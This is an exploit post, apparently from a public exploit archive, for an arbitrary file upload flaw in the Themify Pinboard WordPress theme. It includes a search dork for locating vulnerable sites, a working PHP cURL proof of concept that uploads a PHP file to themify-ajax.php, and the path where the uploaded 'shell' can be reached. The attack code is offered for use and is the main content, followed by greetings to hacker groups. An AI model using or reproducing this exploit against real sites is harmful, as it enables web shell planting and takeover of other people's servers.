Exploit Title : Wordpress Themes Pinboard Arbitrary File Upload Vulnerability #Author : ReC0ded #Vendor : http://themify.me/ #Download : http://themify.me/themes/Pinboard #Date : 22, November 2013. #Type : php, html, htm, asp, etc. #Category : Web Applications #Vulnerability : File Upload #Tested On : Windows 7 32-bit | Google Chrome #Dork : inurl:/wp-content/themes/pinboard/ | USE YOUR BRAIN =)) #Exploit : http://victim/[PATH]/wp-content/themes/pinboard/themify/themify-ajax.php #POC : <?php $uploadfile="ReC0ded.php"; $ch = curl_init("http://victim/[PATH]/wp-content/themes/pinboard/themify/themify-ajax.php?upload=1"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> #Results See Your Shell On : http://victim/[PATH]/wp-content/themes/pinboard/uploads/{YOUR_FILE}.php #################### Say Yes #################### $Greetz To : ./Newbie-Security ./Malang Cyber Crew ./Hacker Newbie ./Binus Hacker ./Indonesian Cyber Army ./Indonesian Security Down ./Indonesian Figther Cyber ./Devilzc0de ./Surabaya Blackhat $Thanks To : ./All Member Newbie-Security Team We Loved ./DevilScreaM ./ShadoWNamE ./grub_err0r ./R3dh34d ./ice-cream ./win32conficker ./HMBP-02 ./Mr.Alf1anz ./casper